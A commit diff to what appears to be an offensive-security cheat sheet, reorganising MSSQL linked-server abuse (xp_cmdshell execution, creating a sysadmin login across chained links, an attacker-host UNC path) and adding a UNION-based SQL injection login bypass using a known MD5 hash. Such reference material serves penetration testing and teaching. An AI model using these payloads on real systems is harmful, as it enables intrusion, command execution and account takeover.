Skip to content

Commit 5c0ee4c

Browse files
committed
SQL injection hashed password + MSSQL links
1 parent d49faf9 commit 5c0ee4c

File tree

2 files changed

+47
-20
lines changed

2 files changed

+47
-20
lines changed

SQL Injection/MSSQL Injection.md

Lines changed: 23 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -338,34 +338,37 @@ RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
338338

339339
## MSSQL Trusted Links
340340

341+
A trusted link in Microsoft SQL Server is a linked server relationship that allows one SQL Server instance to execute queries and even remote procedures on another server (or external OLE DB source) as if the remote server were part of the local environment. Linked servers expose options that control whether remote procedures and RPC calls are allowed and what security context is used on the remote server.
342+
341343
> The links between databases work even across forest trusts.
342344

343-
```powershell
344-
msf> use exploit/windows/mssql/mssql_linkcrawler
345-
[msf> set DEPLOY true] # Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
346-
```
345+
* Find links using `sysservers`: contains one row for each server that an instance of SQL Server can access as an OLE DB data source.
347346

348-
Manual exploitation
347+
```sql
348+
select * from master..sysservers
349+
```
349350

350-
```sql
351-
-- find link
352-
select * from master..sysservers
351+
* Execute query through the link
353352

354-
-- execute query through the link
355-
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
356-
select version from openquery("linkedserver", 'select @@version as version');
353+
```sql
354+
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
355+
select version from openquery("linkedserver", 'select @@version as version')
357356
358-
-- chain multiple openquery
359-
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
357+
-- Chain multiple openquery
358+
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
359+
```
360360

361-
-- execute shell commands
362-
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
363-
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
361+
* Execute shell commands
364362

365-
-- create user and give admin privileges
366-
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
367-
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
368-
```
363+
```sql
364+
-- Enable xp_cmdshell and execute "dir" command
365+
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
366+
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
367+
368+
-- Create a SQL user and give sysadmin privileges
369+
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
370+
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
371+
```
369372

370373
## MSSQL Privileges
371374

SQL Injection/README.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -182,6 +182,30 @@ sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
182182
sql1 = "SELECT * FROM admin WHERE pass = ''or'6�]��!r,��b'";
183183
```
184184
185+
### Hashed Passwords
186+
187+
By 2025, applications almost never store plaintext passwords. Authentication systems instead use a representation of the password (a hash derived by a key-derivation function, often with a salt). That evolution changes the mechanics of some classic SQL injection (SQLi) bypasses: an attacker who injects rows via `UNION` must now supply values that match the stored representation the application expects, not the user’s raw password.
188+
189+
Many naïve authentication flows perform these high-level steps:
190+
191+
* Query the database for the user record (e.g., `SELECT username, password_hash FROM users WHERE username = ?`).
192+
* Receive the stored `password_hash` from the DB.
193+
* Locally compute `hash(input_password)` using whatever algorithm is configured.
194+
* Compare `stored_password_hash == hash(input_password)`.
195+
196+
If an attacker can inject an extra row into the result set (for example using `UNION`), they can make the application receive an attacker-controlled stored_password_hash. If that injected hash equals `hash(attacker_supplied_password)` as computed by the app, the comparison succeeds and the attacker is authenticated as the injected username.
197+
198+
```sql
199+
admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'--
200+
```
201+
202+
* `AND 1=0`: to force the request to be false.
203+
* `SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'`: select as many columns as necessary, here 161ebd7d45089b3446ee4e0d86dbcf92 corresponds to `MD5("P@ssw0rd")`.
204+
205+
If the application computes `MD5("P@ssw0rd")` and that equals `161ebd7d45089b3446ee4e0d86dbcf92`, then supplying `"P@ssw0rd"` as the login password will pass the check.
206+
207+
This method fails if the app stores `salt` and `KDF(salt, password)`. A single injected static hash cannot match a per-user salted result unless the attacker also knows or controls the salt and KDF parameters.
208+
185209
## UNION Based Injection
186210
187211
In a standard SQL query, data is retrieved from one table. The `UNION` operator allows multiple `SELECT` statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a `UNION` statement to the original query.

0 commit comments

Comments
 (0)